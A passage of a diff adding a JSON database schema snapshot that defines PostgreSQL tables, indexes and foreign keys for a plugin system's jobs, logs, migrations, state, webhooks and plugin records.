+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_database_namespaces_plugin_idx": {
+          "name": "plugin_database_namespaces_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_namespace_idx": {
+          "name": "plugin_database_namespaces_namespace_idx",
+          "columns": [
+            {
+              "expression": "namespace_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_status_idx": {
+          "name": "plugin_database_namespaces_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_database_namespaces_plugin_id_plugins_id_fk": {
+          "name": "plugin_database_namespaces_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_database_namespaces",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_entities": {
+      "name": "plugin_entities",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_entities_plugin_idx": {
+          "name": "plugin_entities_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_company_idx": {
+          "name": "plugin_entities_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_type_idx": {
+          "name": "plugin_entities_type_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_scope_idx": {
+          "name": "plugin_entities_scope_idx",
+          "columns": [
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_entities_plugin_id_plugins_id_fk": {
+          "name": "plugin_entities_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_entities_company_id_companies_id_fk": {
+          "name": "plugin_entities_company_id_companies_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_entities_external_idx": {
+          "name": "plugin_entities_external_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "plugin_id",
+            "entity_type",
+            "external_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_job_runs": {
+      "name": "plugin_job_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "job_id": {
+          "name": "job_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "logs": {
+          "name": "logs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_job_runs_job_idx": {
+          "name": "plugin_job_runs_job_idx",
+          "columns": [
+            {
+              "expression": "job_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_plugin_idx": {
+          "name": "plugin_job_runs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_company_idx": {
+          "name": "plugin_job_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_status_idx": {
+          "name": "plugin_job_runs_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_job_runs_job_id_plugin_jobs_id_fk": {
+          "name": "plugin_job_runs_job_id_plugin_jobs_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugin_jobs",
+          "columnsFrom": [
+            "job_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_plugin_id_plugins_id_fk": {
+          "name": "plugin_job_runs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_company_id_companies_id_fk": {
+          "name": "plugin_job_runs_company_id_companies_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_jobs": {
+      "name": "plugin_jobs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "job_key": {
+          "name": "job_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schedule": {
+          "name": "schedule",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "last_run_at": {
+          "name": "last_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_jobs_plugin_idx": {
+          "name": "plugin_jobs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_next_run_idx": {
+          "name": "plugin_jobs_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_unique_idx": {
+          "name": "plugin_jobs_unique_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "job_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_jobs_plugin_id_plugins_id_fk": {
+          "name": "plugin_jobs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_jobs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_logs": {
+      "name": "plugin_logs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'info'"
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "meta": {
+          "name": "meta",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_logs_plugin_time_idx": {
+          "name": "plugin_logs_plugin_time_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_company_idx": {
+          "name": "plugin_logs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_level_idx": {
+          "name": "plugin_logs_level_idx",
+          "columns": [
+            {
+              "expression": "level",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_logs_plugin_id_plugins_id_fk": {
+          "name": "plugin_logs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_logs_company_id_companies_id_fk": {
+          "name": "plugin_logs_company_id_companies_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_managed_resources": {
+      "name": "plugin_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_managed_resources_company_idx": {
+          "name": "plugin_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_plugin_idx": {
+          "name": "plugin_managed_resources_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_resource_idx": {
+          "name": "plugin_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_company_plugin_resource_uq": {
+          "name": "plugin_managed_resources_company_plugin_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_managed_resources_company_id_companies_id_fk": {
+          "name": "plugin_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_managed_resources_plugin_id_plugins_id_fk": {
+          "name": "plugin_managed_resources_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_migrations": {
+      "name": "plugin_migrations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "migration_key": {
+          "name": "migration_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "checksum": {
+          "name": "checksum",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_version": {
+          "name": "plugin_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "plugin_migrations_plugin_key_idx": {
+          "name": "plugin_migrations_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "migration_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_plugin_idx": {
+          "name": "plugin_migrations_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_status_idx": {
+          "name": "plugin_migrations_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_migrations_plugin_id_plugins_id_fk": {
+          "name": "plugin_migrations_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_migrations",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_state": {
+      "name": "plugin_state",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "namespace": {
+          "name": "namespace",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "state_key": {
+          "name": "state_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_json": {
+          "name": "value_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_state_plugin_scope_idx": {
+          "name": "plugin_state_plugin_scope_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_state_plugin_id_plugins_id_fk": {
+          "name": "plugin_state_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_state",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_state_unique_entry_idx": {
+          "name": "plugin_state_unique_entry_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "plugin_id",
+            "scope_kind",
+            "scope_id",
+            "namespace",
+            "state_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_webhook_deliveries": {
+      "name": "plugin_webhook_deliveries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "webhook_key": {
+          "name": "webhook_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "headers": {
+          "name": "headers",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_webhook_deliveries_plugin_idx": {
+          "name": "plugin_webhook_deliveries_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_company_idx": {
+          "name": "plugin_webhook_deliveries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_status_idx": {
+          "name": "plugin_webhook_deliveries_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_key_idx": {
+          "name": "plugin_webhook_deliveries_key_idx",
+          "columns": [
+            {
+              "expression": "webhook_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_webhook_deliveries_plugin_id_plugins_id_fk": {
+          "name": "plugin_webhook_deliveries_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_webhook_deliveries_company_id_companies_id_fk": {
+          "name": "plugin_webhook_deliveries_company_id_companies_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugins": {
+      "name": "plugins",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "package_name": {
+          "name": "package_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "api_version": {
+          "name": "api_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "categories": {
+          "name": "categories",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "manifest_json": {
+          "name": "manifest_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'installed'"
+        },
+        "install_order": {
+          "name": "install_order",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "package_path": {
+          "name": "package_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "installed_at": {
+          "name": "installed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
